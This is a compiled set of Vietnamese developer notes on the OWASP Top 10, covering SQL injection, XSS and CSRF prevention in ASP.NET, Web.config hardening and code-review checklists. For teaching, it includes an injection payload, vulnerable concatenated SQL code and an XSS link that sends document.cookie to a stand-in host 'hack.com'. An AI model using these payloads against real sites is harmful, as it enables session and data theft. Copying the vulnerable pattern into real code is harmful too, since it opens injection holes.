Top 10 OWASP (edit)

Phần 1: Top 10 nguy cơ bảo mật ứng dụng web OWASP và cách phòng chống

Phần 2: Tìm hiểu kỹ thuật tấn công CSRF và cách phòng chống

Phần 3: Cấu hình Web.config đơn giản giúp website an toàn

Phần 4: Regular Expression

Phần 1: Top 10 nguy cơ bảo mật ứng dụng web OWASP và cách phòng chống

https://www.mastercode.vn/blog/web-development/10-nguy-co-bao-mat-ung-dung-web-hang-dau-owasp-va-cach-phong-chong.103

Tìm hiểu chi tiết 10 rủi ro bảo mật hàng đầu về định nghĩa, về cách khai thác lỗ hổng và về cách xây dựng hệ thống phòng chống

Giới thiệu OWASP và Top 10

• OWASP is the Open Web Application Security Project
• Họ là một tổ chức phi lợi nhuận trên toàn thế giới tập trung vào việc nâng cao tính bảo mật của phần mềm trên web
• Họ tạo ra một tài liệu được gọi là Top 10 nguy cơ bảo mật ứng dụng Web quan trọng nhất
• "Top 10" là một hướng dẫn công nghệ để quản lý rủi ro bảo mật trang web phổ biến
• Nó thường là một nơi để tham khảo cho các chuyên gia bảo mật và các nhà phát triển cùng nhau

Ai đang bị tấn công ?

90% trang web có các lỗi bảo mật nghiêm trọng.

Hacktivists là ai ?

• Họ thường là trẻ, thiếu kinh nghiệm và không ý thức về hậu quả xã hội của hành động của họ
• Họ được tài trợ rất ít nhưng cuộc tấn công thành công thì được rất nhiều. Thường là cạnh tranh không lành mạnh giữa các doanh nghiệp
• Chúng ta biết họ bằng các tên như Anonymous và LulzSec

Top 10

1. Injection
2. Cross-Site Scripting (XSS)
3. Broken Authentication and Session Management
4. Insecure Direct Object References
5. Cross-Site Request Forgery (CSRF)
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10. Unvalidated Redirects and Forwards

Tìm hiểu về Injection

Lỗi Injection rất phổ biến, đặc biệt là trong các mã nguồn mở. Injection thường được tìm thấy trong các truy vấn SQL, LDAP, Xpath hoặc truy vấn NoSQL, XML parsers, SMTP Headers... 

Các lỗ hổng trong Injection dễ dàng khám phá và phần mềm tự động quét có thể giúp những kẻ xấu tìm thấy các lỗ hổng.

Kịch bản tấn công Injection như thế nào

Kịch bản 1: Ứng dụng sử dụng câu truy vấn SQL xem thông tin tài khoản theo mã tài khoản:

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";

Kịch bản 2: Ngôn ngữ truy vấn Hibernate (HQL)

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

Trong cả hai trường hợp trên, kẻ tấn công sửa đổi giá trị tham số 'id' trong trình duyệt của mình để gửi: 'or' 1 '=' 1

https://mastercode.vn/app/accountView?id=' or '1'='1

Điều này thay đổi ý nghĩa của cả hai truy vấn để trả lại tất cả các bản ghi từ bảng tài khoản. Các cuộc tấn công nguy hiểm hơn có thể sửa đổi dữ liệu hoặc thậm chí gọi thủ tục lưu sẵn

Đoạn code bên dưới trước khi được nâng cấp bảo vệ

protected void Page_Load(object sender, EventArgs e)
{
    var productSubCategoryId = Request.QueryString["ProductSubCategoryId"];

    var connString = WebConfigurationManager.ConnectionStrings["DefaultConnection"].ConnectionString;
    var sqlString = "SELECT * FROM Product WHERE ProductSubCategoryID = " + productSubCategoryId;
    using (var conn = new SqlConnection(connString))
    {
        using (var command = new SqlCommand(sqlString, conn))
        {
            command.Connection.Open();
            ProductGridView.DataSource = command.ExecuteReader();
            ProductGridView.DataBind();
        }
    }

    ProductCount.Text = ProductGridView.Rows.Count.ToString("n0");
}

Các phòng chống Injection

• Sử dụng Inline SQL Parameterisation

protected void Page_Load(object sender, EventArgs e)
{
    var productSubCategoryId = Request.QueryString["ProductSubCategoryId"];

    var connString = WebConfigurationManager.ConnectionStrings["DefaultConnection"].ConnectionString;
    var sqlString = "SELECT * FROM Product WHERE ProductSubCategoryID = @ProductSubCategoryId";
    using (var conn = new SqlConnection(connString))
    {
    using (var command = new SqlCommand(sqlString, conn))
    {
        command.Parameters.Add("@ProductSubCategoryID", SqlDbType.VarChar).Value = productSubCategoryId;
        command.Connection.Open();
        ProductGridView.DataSource = command.ExecuteReader();
        ProductGridView.DataBind();
    }
    }

    ProductCount.Text = ProductGridView.Rows.Count.ToString("n0");
}

• Sử dụng Stored Procedure Parameterisation

protected void Page_Load(object sender, EventArgs e)
{
    var productSubCategoryId = Request.QueryString["ProductSubCategoryId"];

    var connString = WebConfigurationManager.ConnectionStrings["DefaultConnection"].ConnectionString;
    using (var conn = new SqlConnection(connString))
    {
        using (var command = new SqlCommand("GetProducts", conn))
        {
            command.CommandType = CommandType.StoredProcedure;
            command.Parameters.Add("@ProductSubCategoryID", SqlDbType.VarChar).Value = productSubCategoryId;
            command.Connection.Open();
            ProductGridView.DataSource = command.ExecuteReader();
            ProductGridView.DataBind();
        }
    }

    ProductCount.Text = ProductGridView.Rows.Count.ToString("n0");
}

• Sử dụng Entity Framework’s SQL parameterisation

protected void Page_Load(object sender, EventArgs e)
{
    var productSubCategoryId = Request.QueryString["ProductSubCategoryId"];

    int id;
    if (!int.TryParse(productSubCategoryId, out id))
    {
        throw new ApplicationException("ID wasn't an integer");
    }

    var dc = new InjectionEntities();

    ProductGridView.DataSource = dc.Products.Where(p => p.ProductSubcategoryID == id).ToList();
    ProductGridView.DataBind();

    ProductCount.Text = ProductGridView.Rows.Count.ToString("n0");
}

• Kiểm tra tính hợp lệ của biến

protected void Page_Load(object sender, EventArgs e)
{
    var productSubCategoryId = Request.QueryString["ProductSubCategoryId"];
    //Kiểm tra tính hợp lệ của biến
    int id;
    if (!int.TryParse(productSubCategoryId, out id))
    {
        throw new ApplicationException("ID wasn't an integer");
    }

    var connString = WebConfigurationManager.ConnectionStrings["DefaultConnection"].ConnectionString;
    using (var conn = new SqlConnection(connString))
    {
        using (var command = new SqlCommand("GetProducts", conn))
        {
            command.CommandType = CommandType.StoredProcedure;
            command.Parameters.Add("@ProductSubCategoryID", SqlDbType.Int).Value = id;
            command.Connection.Open();
            ProductGridView.DataSource = command.ExecuteReader();
            ProductGridView.DataBind();
        }
    }

    ProductCount.Text = ProductGridView.Rows.Count.ToString("n0");
}

Phần mềm tự động tấn công website thông qua lỗi Injection để ăn cấp dữ liệu thông tin thẻ của người dùng

Tìm hiểu về Cross-Site Scripting (XSS)

XSS (Cross Site Scripting) là một kiểu tấn công cho phép hacker chèn những đoạn script độc hại (thông thường là Javascript hoặc HTML) vào website và sẽ được thực thi ở phía người dùng (trong trình duyệt của người dùng).

Đối với XSS, người bị tấn công là người dùng chứ không phải website, hacker có thể dùng XSS để gửi những đoạn script độc hại tới một người dùng bất kỳ, và trình duyệt của người dùng sẽ thực thi những đoạn script đó và gửi về cho hacker những thông tin của người dùng thông qua email hoặc server do hacker định sẵn từ trước.

Các dạng tấn công XSS

• Persistent XSS (hay còn gọi là Stored XSS)
• Non-Persistent XSS (hay còn gọi là Reflected XSS)
• DOM-based XSS

Kịch bản tấn công Cross-Site Scripting (XSS) như thế nào

https://www.mastercode.vn/khoa-hoc?keysearch=mvc

Trang web trên rất bình thường nhưng nếu hacker truyền thành một đường link thay đổi như sau

https://www.mastercode.vn/khoa-hoc?keysearch=mvc<script>document.location= 'http://hack.com/save?cookie=' + document.cookie</script>

Kẻ tấn công ngoài truyền dữ liệu với nội dung là MVC ngoài ra còn chèn thêm đoạn mã độc lấy thông tin cookie của người dùng. Nếu website bạn bị lỗi XSS thì kẻ tấn công chỉ việc gửi link trên cho nạn nhận. Khi nạn nhân mở đường link đó sẽ bị lấy cắp thông tin. (Thông thường được link trước khi gửi được rút gọn link hoặc được che dấu dưới nội dung)

protected void Page_Load(object sender, EventArgs e)
{
    var search = Request.QueryString["keysearch"];
    SearchTerm.Text = search;
}

Cách phòng chống Cross-Site Scripting (XSS)

• Không bao giờ thêm dữ liệu vào CSDL mà không kiểm tra tính hợp lệ và sử dụng bộ lọc
• Ghi log lại những dữ liệu không hợp lệ. (Ví dụ lưu lại thông tin IP)

• Sử dụng thư viện Security Encode của Microsoft: https://www.nuget.org/packages/AntiXSS
• Javascript: Microsoft.Security.Application.Encoder.JavaScriptEncode(Request.QueryString["keysearch"])

<script type="text/javascript">
	var q = <%= Microsoft.Security.Application.Encoder.JavaScriptEncode(Request.QueryString["keysearch"]) %>
</script>

• HTML: AntiXssEncoder.HtmlEncode(searchTerm, true)

using System.Web.Security.AntiXss;
protected void Page_Load(object sender, EventArgs e)
{
    var search = Request.QueryString["keysearch"];
    SearchTerm.Text = AntiXssEncoder.HtmlEncode(searchTerm, true);
}

• CSS:

• Không cho phép các ký tự đặc biệt

using System.Web.Security.AntiXss;
using System.Text.RegularExpressions;
protected void Page_Load(object sender, EventArgs e)
{
    var search = Request.QueryString["keysearch"];
    if (!Regex.IsMatch(search, @"^[\p{L} \.\-]+$"))
    {
        throw new ApplicationException("Search term is not allowed");
    }
    SearchTerm.Text = AntiXssEncoder.HtmlEncode(searchTerm, true);
}

• Kích hoạt X-XSS-Protection ở trình duyệt chống tấn công Cross Site Scripting
• X-XSS-Protection: 0 : tắt chế độ này
• X-XSS-Protection: 1 : lọc bỏ các đoạn scrip ở trong request, nhưng vẫn hiển thị trang web
• X-XSS-Protection: 1; mode=block : khi được kích hoạt sẽ vô hiệu hoàn toàn việc hiển thị trang web

<system.webServer>
  <httpProtocol>
    <customHeaders>
      <add name="X-XSS-Protection" value="1; mode=block" />
    </customHeaders>
  </httpProtocol>
</system.webServer>

• https://msdn.microsoft.com/en-us/library/ff649310.aspx
• https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
• https://samy.pl/popular/tech.html

Tìm hiểu kỹ thuật tấn công CSRF và Cách phòng chống

CSRF ( Cross Site Request Forgery) là kỹ thuật tấn công bằng cách sử dụng quyền chứng thực của người dùng đối với một website. CSRF là kỹ thuật tấn công vào người dùng, dựa vào đó hacker có thể thực thi những thao tác phải yêu cầu sự chứng thực. Hiểu một cách nôm na, đây là kỹ thuật tấn công dựa vào mượn quyền trái phép. CSRF còn được gọi là "session riding", "XSRF"

Kỹ thuật tấn công CSRF hay còn gọi là kỹ thuật tấn công "Cross-site Request Forgery", nghĩa là kỹ thuật tấn công giả mạo chính chủ thể của nó. Một ví dụ thế này cho các bạn dễ hình dung.

Giả sử trong hệ thống các bạn có một action xử lý xóa người dùng với url như sau: mastercode.vn/deleteuser?id=12 (Xóa user có id = 12). Như vậy giả sử một người nào đó biết được URL này thì họ sẽ hack được, và họ sẽ lợi dụng chính admin của hệ thống.

Phần 2: Tìm hiểu kỹ thuật tấn công CSRF và cách phòng chống

https://www.mastercode.vn/blog/web-development/tim-hieu-ky-thuat-tan-cong-csrf-va-cach-phong-chong.15

Vấn đề bảo mật website với dân coder có thể nói là rất quan trọng. Với những lập trình viên dày dặn kinh nghiệm thì họ sẽ có những cách xử lý khôn khéo để có thể bảo mật được dự án của mình, còn những bạn mới học nghề thì đây lại là vấn đề rất khó khăn.

1 CSRF là gì?

CSRF ( Cross Site Request Forgery) là kỹ thuật tấn công bằng cách sử dụng quyền chứng thực của người dùng đối với một website. CSRF là kỹ thuật tấn công vào người dùng, dựa vào đó hacker có thể thực thi những thao tác phải yêu cầu sự chứng thực. Hiểu một cách nôm na, đây là kỹ thuật tấn công dựa vào mượn quyền trái phép.

CSRF còn được gọi là "session riding", "XSRF"

Kỹ thuật tấn công CSRF hay còn gọi là kỹ thuật tấn công "Cross-site Request Forgery", nghĩa là kỹ thuật tấn công giả mạo chính chủ thể của nó. Tôi sẽ lấy một ví dụ thế này cho các bạn dễ hình dung.

Giả sử trong hệ thống các bạn có một action xử lý xóa người dùng với url như sau: mastercode.vn/deleteuser?id=12 (Xóa user có id = 12). Như vậy giả sử một người nào đó biết được URL này thì họ sẽ hack được, và họ sẽ lợi dụng chính admin của hệ thống.

Họ sẽ gửi một email với nội dung là một hoặc nhiều thẻ hình ảnh (IMG) với SRC là url đó và mỗi hình có 1 id khác nhau, như vậy nếu admin đọc cái email đó thì trường hợp admin đang login vào hệ thống thì admin đã vô tình xóa đi những user như trong SRC của các hình trên. Đây là một ví dụ nho nhỏ điển hình thôi chứ trong thực tế ai lại đi làm chương trình xóa người dùng mà lại để cái ID to đùng trên kia :D, ấy mà đôi khi những bạn non tay nghề lại mặc phải đấy.

2. Cách phòng chống tấn công CSRF

Dựa trên nguyên tắc của CSRF "lừa trình duyệt của người dùng (hoặc người dùng) gửi các câu lệnh HTTP", các kĩ thuật phòng tránh sẽ tập trung vào việc tìm cách phân biệt và hạn chế các câu lệnh giả mạo.

2.1 Phía user

Để phòng tránh trở thành nạn nhân của các cuộc tấn công CSRF, người dùng internet nên thực hiện một số lưu ý sau:

• Nên thoát khỏi các website quan trọng: Tài khoản ngân hàng, thanh toán trực tuyến, các mạng xã hội, gmail, yahoo… khi đã thực hiện xong giao dịch hay các công việc cần làm. (Check - email, checkin…)
• Không nên click vào các đường dẫn mà bạn nhận được qua email, qua facebook … Khi bạn đưa chuột qua 1 đường dẫn, phía dưới bên trái của trình duyệt thường có địa chỉ website đích, bạn nên lưu ý để đến đúng trang mình muốn.
• Không lưu các thông tin về mật khẩu tại trình duyệt của mình (không nên chọn các phương thức "đăng nhập lần sau", "lưu mật khẩu" …
• Trong quá trình thực hiện giao dịch hay vào các website quan trọng không nên vào các website khác, có thể chứa các mã khai thác của kẻ tấn công.

2.2 Phía server

Có nhiều lời khuyến cáo được đưa ra, tuy nhiên cho đến nay vẫn chưa có biện pháp nào có thể phòng chống triệt để CSRF. Sau đây là một vài kĩ thuật sử dụng.

• Cấu hình Web.config đơn giản giúp website an toàn
• Lựa chọn việc sử dụng GET VÀ POST. Sử dụng GET và POST đúng cách. Dùng GET nếu thao tác là truy vấn dữ liệu. Dùng POST nếu các thao tác tạo ra sự thay đổi hệ thống (theo khuyến cáo của W3C tổ chức tạo ra chuẩn http) Nếu ứng dụng của bạn theo chuẩn RESTful, bạn có thể dùng thêm các HTTP verbs, như PATCH, PUT hay DELETE
• Sử dụng captcha, các thông báo xác nhận. Captcha được sử dụng để nhận biết đối tượng đang thao tác với hệ thống là con người hay không? Các thao tác quan trọng như "đăng nhập" hay là "chuyển khoản" ,"thanh toán" thường là hay sử dụng captcha. Tuy nhiên, việc sử dụng captcha có thể gây khó khăn cho một vài đối tượng người dùng và làm họ khó chịu. Các thông báo xác nhận cũng thường được sử dụng, ví dụ như việc hiển thị một thông báo xác nhận "bạn có muốn xóa hay k" cũng làm hạn chế các kĩ thuật Cả hai cách trên vẫn có thể bị vượt qua nếu kẻ tấn công có một kịch bản hoàn hảo và kết hợp với lỗi XSS.
• Sử dụng token: Tạo ra một token tương ứng với mỗi form, token này sẽ là duy nhất đối với mỗi form và thường thì hàm tạo ra token này sẽ nhận đối số là"SESSION" hoặc được lưu thông tin trong SESSION. Khi nhận lệnh HTTP POST về, hệ thống sẽ thực hiên so khớp giá trị token này để quyết định có thực hiện hay không. Mặc định trong Rails, khi tạo ứng dụng mới:
• Sử dụng cookie riêng biệt cho trang quản trị: Một cookie không thể dùng chung cho các domain khác nhau, chính vì vậy việc sử dụng "admin.site.com" thay vì sử dụng "site.com/admin" là an toàn hơn.
• Kiểm tra REFERRER: Kiểm tra xem các câu lệnh http gửi đến hệ thống xuất phát từ đâu. Một ứng dụng web có thể hạn chế chỉ thực hiện các lệnh http gửi đến từ các trang đã được chứng thực. Tuy nhiên cách làm này có nhiều hạn chế và không thật sự hiệu quả.
• Kiểm tra IP: Một số hệ thống quan trọng chỉ cho truy cập từ những IP được thiết lập sẵn

Phần 3: Cấu hình Web.config đơn giản giúp website an toàn

https://www.mastercode.vn/blog/web-development/cau-hinh-web-config-don-gian-giup-website-an-toan.14

<httpProtocol>
  <customHeaders>
    <remove name="X-Powered-By" />
    <remove name="X-AspNet-Version" />
    <remove name="X-AspNetMvc-Version" />
    <remove name="X-Powered-By-Plesk" />
    <remove name="Server" />
  </customHeaders>
</httpProtocol>

<httpProtocol>
  <customHeaders>
    <add name="X-Frame-Options" value="SAMEORIGIN" />
  </customHeaders>
</httpProtocol>

<httpProtocol>
  <customHeaders>
    <add name="X-XSS-Protection" value="1; mode=block" />
  </customHeaders>
</httpProtocol>

<customErrors mode="On" defaultRedirect="Error.html">
   <error statusCode="403" redirect="NoAccess.html" />
   <error statusCode="404" redirect="FileNotFound.html" />
</customErrors>

<trace enabled="false" localOnly="true">

<compilation debug="false">

<httpCookies httpOnlyCookies="true" />

<system.web>
…
<machineKey validation="3DES"/>
…
</system.web>

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727>aspnet_regiis –pa NetFrameworkConfigurationKey" "ASPNET"

aspnet_regiis -pe "connectionStrings" -app "/MyApplication"

aspnet_regiis -pd "connectionStrings" -app "/MyApplication"

Phần 4: Regular Expression

Loại bỏ thẻ tag html

public static string TrimHtmlTags(this string input)
{
    if (string.IsNullOrEmpty(input))
        return null;
    input = HttpUtility.HtmlDecode(input);
    return Regex.Replace(input, @"<.[^>]*>", string.Empty);
}

Chuyển chuỗi có dấu sang không dấu

public static string ToVietNameseChacracter(this string s)
{
    if (string.IsNullOrEmpty(s))
        return string.Empty;
    Regex regex = new Regex("\\p{IsCombiningDiacriticalMarks}+");
    string temp = s.Normalize(NormalizationForm.FormD);
    return regex.Replace(temp, String.Empty);
}

Kiểm tra xem có phải là Email không

public bool IsValidMail(string email)
{
    if (string.IsNullOrEmpty(email))
        return false;
    string sMailPattern = @"\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*";
    return Regex.IsMatch(email.Trim(), sMailPattern);
}

Kiểm tra có phải là số điện thoại di động ở Việt Nam không

public bool IsValidVietNamPhoneNumber(string phoneNum)
{
    if (string.IsNullOrEmpty(phoneNum))
        return false;
    string sMailPattern = @"^((09(\d){8})|(086(\d){7})|(088(\d){7})|(089(\d){7})|(01(\d){9}))$";
    return Regex.IsMatch(phoneNum.Trim(), sMailPattern);
}

Kiểm tra chuỗi có phải là số không (hay sử dụng đối với dữ liệu từ người dùng gửi lên server xử lý)

public bool IsValidNumber(string str)
{
    return Regex.IsMatch(str, @"^[0-9]+$");
}

Code Review Checklist (edit)

https://www.guru99.com/asp-net-web-api-interview-questions.html

https://www.fullstack.cafe/blog/asp-net-web-api-interview-questions

AdminLTE.Core (HAY HAY HAY)

https://www.udemy.com/course/complete-aspnet-core-21-course/

Implementing CQRS Pattern with Vue.js & ASP.NET Core MVC

https://www.codeproject.com/Articles/5262285/Implementing-CQRS-Pattern-with-Vue-js-ASP-NET-Core

https://www.c-sharpcorner.com/article/implementing-cqrs-pattern-with-vue-js-asp-net-core-mvc/

Implementing CQRS Pattern with Vue.js & ASP.NET Core MVC

https://codeload.github.com/ColorlibHQ/AdminLTE/zip/v2.4.18 (HAY HAY HAY)

https://github.com/moemura/AdminLTE.Core (HAY HAY HAY)

https://github.com/moemura/AdminLTE.Core/releases/tag/2.0.1

https://github.com/dotnet-express/AdminLTE-Starter-Kit/releases

https://github.com/dotnet-express/AdminLTE-Starter-Kit/releases/tag/v0.8.0

https://github.com/go2ismail/adminlte-aspnetcore2-version

https://github.com/shehryarkn/Dynamic-User-Defined-Dashboards-Asp-Net-Core

https://github.com/shehryarkn/Asp-net-Core-Project-with-Admin-Template-Setup

Code Review

Checklist: https://www.michaelagreiler.com/code-review-checklist/

Google: https://blog.fullstory.com/what-we-learned-from-google-code-reviews-arent-just-for-catching-bugs/

Microsoft: https://www.michaelagreiler.com/code-reviews-at-microsoft-how-to-code-review-at-a-large-software-company/

Code Guide

https://www.cybersecuritycourses.com/course/dev544-secure-coding-in-net-developing-defensible-applications/ (HAY HAY HAY)

https://niccs.us-cert.gov/training/search/sans-institute/secure-coding-net-developing-defensible-applications (HAY HAY HAY)

Code Quality & Secure

1. Readability a.k.a. ‘Understandability’ (Khả năng đọc hoặc Khả năng hiểu được)
2. Maintainability (Bảo trì)
3. Security (Bảo mật)
4. Speed and Performance (Tốc độ và hiệu suất)
5. Documentation (Tài liệu)
6. Reinventing the Wheel (Phát minh lại bánh xe)
7. Reliability (Độ tin cậy)
8. Scalability (Khả năng mở rộng)
9. Reusability (Tái sử dụng)
10. Patterns (Mẫu)
11. Test Coverage and Test Quality (Phạm vi kiểm tra và chất lượng kiểm tra)
12. Fit for Purpose (Phù hợp cho mục đích)

https://www.enosecurity.com/training-tutorials-courses/secure-coding-in-asp-net-training/ (Tranining)

Audience / Target Group:

• .NET Application Developers
• C# Programmers
• ASP.NET Developers
• Managers, Architects and Technologists involved in deploying .NET applications

Topics: 

• General Web Application Security Concepts
• .NET Framework Security Features
• Input Validation & Encoding
• Input Driven Attacks
• Validation Best Practices
• Output Encoding
• Common Authentication Weaknesses
• Authorization Best Practices
• Controlling Application Access
• Password Security
• Session Hijacking & Trapping
• Protecting User Sessions & Tokens
• Canonicalization Problems
• Parameter Manipulation
• Encryption, Confidentiality & Data Protection
• Cookie-Based Attacks
• Protecting Application Variables
• Error Handling & Logging
• Attacking via Error Messages
• Secure Logging & Error Handling
• Server Configuration & Code Management
• Common App Server Misconfigurations
• Protecting Application Code
• XML Web Services
• Overview of WSDL, SOAP & AJAX Security
• Web Service Attacks
• AJAX Pitfalls
• Web Service Best Practices
• Application Threat Modeling
• Application Context
• Identifying Attacks, Vulnerabilities & Countermeasures
• Threat Modeling Tools
• Cache Control Issues
• SSL Best Practices

https://forums.asp.net/t/1926690.aspx?Secure+Coding+best+practices+guideline

https://download.microsoft.com/documents/uk/msdn/security/The Developer Highway Code.pdf

http://www.evoketechnologies.com/blog/code-review-checklist-perform-effective-code-reviews/

https://nyu-cds.github.io/effective-code-reviews/01-intro/

https://nyu-cds.github.io/effective-code-reviews/02-best-practices/

https://nyu-cds.github.io/effective-code-reviews/03-checklist/

Security Code Review

https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf

RESTful API Lifecycle Management

https://dzone.com/refcardz/restful-api-lifecycle-management

LINQ

https://msdn.microsoft.com/en-us/library/bb308959.aspx

Code Review Checklist & Guidelines for CSharp Developers

https://www.codeproject.com/Reference/593751/Code-Review-Checklist-and-Guidelines-for-Csharp-De

Code Review Guidelines

https://www.codeproject.com/Articles/524235/Codeplusreviewplusguidelines

Assign Severity to Review Finding

The severity to find issues with code should go as below. Reviewer must focus on issues with High severity first and then to Medium severity and then Low severity issues.

1. Naming Conventions and Coding style = Low
2. Control Structures and Logical issues = Medium or High
3. Redundant Code = High
4. Performance Issues = High
5. Security Issues = High
6. Scalability Issues = High
7. Functional Issues =High
8. Error Handling = High
9. Reusability = Medium

https://weblogs.asp.net/tgraham/44763

In my previous blog post, we discussed about “10 Simple Code Review Tips for Effective Code Reviews”. Now, let’s take this topic further and explore the code review checklist, which would help to perform effective code reviews to deliver best quality software. 

This code review checklist also helps the code reviewers and software developers (during self code review) to gain expertise in the code review process, as these points are easy to remember and follow during the code review process. 

Let’s first begin with the basic code review checklist and later move on to the detailed code review checklist. 

Basic Code Review Checklist

Let’s discuss about the basic code review checklist, which can be very handy if you are a beginner in code reviews and/or during initial code reviews.

While reviewing the code, ask yourself the following basic questions:

1. Am I able to understand the code easily?
2. Is the code written following the coding standards/guidelines?
3. Is the same code duplicated more than twice?
4. Can I unit test / debug the code easily to find the root cause?
5. Is this function or class too big? If yes, is the function or class having too many responsibilities?

If you feel that the answer is not satisfactory to any of the above questions, then you can suggest/recommend code changes.

Detailed Code Review Checklist

The following code review checklist gives an idea about the various aspects you need to consider while reviewing the code:

1. Code formatting

While going through the code, check the code formatting to improve readability and ensure that there are no blockers:

a) Use alignments (left margin), proper white space. Also ensure that code block starting point and ending point are easily identifiable.

b) Ensure that proper naming conventions (Pascal, CamelCase etc.) have been followed. 

c) Code should fit in the standard 14 inch laptop screen.  There shouldn’t be a need to scroll horizontally to view the code. In a 21 inch monitor, other windows (toolbox, properties etc.) can be opened while modifying code, so always write code keeping in view a 14 inch monitor.

d) Remove the commented code as this is always a blocker, while going through the code. Commented code can be obtained from Source Control (like SVN), if required.

2. Architecture

a) The code should follow the defined architecture.

1. Separation of Concerns followed
   • Split into multiple layers and tiers as per requirements (Presentation, Business and Data layers).
   • Split into respective files (HTML, JavaScript and CSS).

2. Code is in sync with existing code patterns/technologies.
3. Design patterns: Use appropriate design pattern (if it helps), after completely understanding the problem and context.

3. Coding best practices

1. No hard coding, use constants/configuration values.
2. Group similar values under an enumeration (enum).
3. Comments – Do not write comments for what you are doing, instead write comments on why you are doing. Specify about any hacks, workaround and temporary fixes. Additionally, mention pending tasks in your to-do comments, which can be tracked easily.
4. Avoid multiple if/else blocks.
5. Use framework features, wherever possible instead of writing custom code.

4. Non Functional requirements

a) Maintainability (Supportability) – The application should require the least amount of effort to support in near future. It should be easy to identify and fix a defect.

1. Readability: Code should be self-explanatory. Get a feel of story reading, while going through the code. Use appropriate name for variables, functions and classes. If you are taking more time to understand the code, then either code needs refactoring or at least comments have to be written to make it clear.
2. Testability: The code should be easy to test. Refactor into a separate function (if required). Use interfaces while talking to other layers, as interfaces can be mocked easily. Try to avoid static functions, singleton classes as these are not easily testable by mocks.
3. Debuggability: Provide support to log the flow of control, parameter data and exception details to find the root cause easily. If you are using Log4Net like component then add support for database logging also, as querying the log table is easy.
4. Configurability: Keep the configurable values in place (XML file, database table) so that no code changes are required, if the data is changed frequently.

b) Reusability

1. DRY (Do not Repeat Yourself) principle: The same code should not be repeated more than twice.
2. Consider reusable services, functions and components.
3. Consider generic functions and classes.

c) Reliability – Exception handling and cleanup (dispose) resources.

d) Extensibility – Easy to add enhancements with minimal changes to the existing code. One component should be easily replaceable by a better component.

e) Security – Authentication, authorization, input data validation against security threats such as SQL injections and Cross Site Scripting (XSS), encrypting the sensitive data (passwords, credit card information etc.)

f) Performance

1. Use a data type that best suits the needs such as StringBuilder, generic collection classes.
2. Lazy loading, asynchronous and parallel processing.
3. Caching and session/application data.

g) Scalability – Consider if it supports a large user base/data? Can this be deployed into web farms?

h) Usability – Put yourself in the shoes of a end-user and ascertain, if the user interface/API is easy to understand and use. If you are not convinced with the user interface design, then start discussing your ideas with the business analyst.

5. Object-Oriented Analysis and Design (OOAD) Principles

1. Single Responsibility Principle (SRS): Do not place more than one responsibility into a single class or function, refactor into separate classes and functions.
2. Open Closed Principle: While adding new functionality, existing code should not be modified. New functionality should be written in new classes and functions.
3. Liskov substitutability principle: The child class should not change the behavior (meaning) of the parent class. The child class can be used as a substitute for a base class.
4. Interface segregation: Do not create lengthy interfaces, instead split them into smaller interfaces based on the functionality. The interface should not contain any dependencies (parameters), which are not required for the expected functionality.
5. Dependency Injection: Do not hardcode the dependencies, instead inject them.

In most cases the principles are interrelated, following one principle automatically satisfies other principles. For e.g: if the ‘Single Responsibility Principle’ is followed, then Reusability and Testability will automatically increase.

In a few cases, one requirement may contradict with other requirement. So need to trade-off based on the importance of the weight-age, e.g. Performance vs Security. Too many checks and logging at multiple layers (UI, Middle tier, Database) would decrease the performance of an application. But few applications, especially relating to finance and banking require multiple checks, audit logging etc. So it is ok to compromise a little on performance to provide enhanced security.

Tools for Code Reviews

1. The first step while assessing the code quality of the entire project is through a static code analysis tool. Use the tools (based on technology) such as SonarQube, NDepend, FxCop, TFS code analysis rules. There is a myth that static code analysis tools are only for managers.
2. Use plug-ins such as Resharper, which suggests the best practices in Visual studio.
3. To track the code review comments use the tools like Crucible, Bitbucket and TFS code review process.

Conclusion

The above code review checklist is not exhaustive, but provides a direction to the code reviewer to conduct effective code reviews and deliver good quality code. Initially, it would take some time to review the code from various aspects. After a bit of practice, code reviewers can perform effective code reviews, without much effort and time. If you would like to become an expert code reviewer, this code review checklist serves as a great starting point. Happy Code Reviewing!